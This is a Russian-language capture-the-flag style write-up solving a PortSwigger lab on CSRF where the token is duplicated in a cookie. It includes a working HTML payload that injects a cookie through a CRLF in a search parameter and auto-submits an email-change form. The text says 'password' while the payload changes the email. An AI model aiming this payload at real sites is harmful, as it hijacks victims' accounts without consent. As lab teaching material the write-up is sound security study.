На странице
CSRF с токеном, продублированным в куки
Лаборатория
CSRF where token is duplicated in cookie · Practitioner
Решение
Дано: есть эксплоит-сервер и уязвимое приложение, в котором мы хотим поменять пароль у текущего пользователя, обойдя CSRF-защиту.
Окей, посмотрим, как происходит изменение пароля. Наблюдаем, что csrf дублируется в теле запроса и в куки.
Куки:
csrf=nt0nPbB6pgJTiVTFJeOZqPuOi7sdt3kf; session=FZB4InscWA9YK1iChehZ73tFUts8fZGW
В теле — nt0nPbB6pgJTiVTFJeOZqPuOi7sdt3kf. Совпадают, дублируются.
Попробуем отправить запрос, где вместо токена в оба места напишем xxx. Смена пароля происходит успешно. Похоже, мы можем переиспользовать пэйлоад из предыдущей лабы CSRF where token is tied to non-session cookie.
Только в этот раз просто ставим любые одинаковые значения и в куки пишем значения для csrf, а не csrfKey.
<form id="csrf" action="https://0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net/my-account/change-email" method="POST">
<input name="email" value="wr3dmast3r@m.com">
<input name="csrf" value="xxx">
</form>
<img src="https://0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrf=xxx%3B%20path=%2F%3B%20SameSite=None%3B%20Secure" onerror="document.getElementById('csrf').submit()">
Лаба решена.
Ещё в этой категории
Внедрение произвольного объекта в PHP (PortSwigger Lab)
Восстановление утёкшего исходного кода и внедрение сериализованного объекта CustomTemplate, чей __destruct удаляет произвольный файл.
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.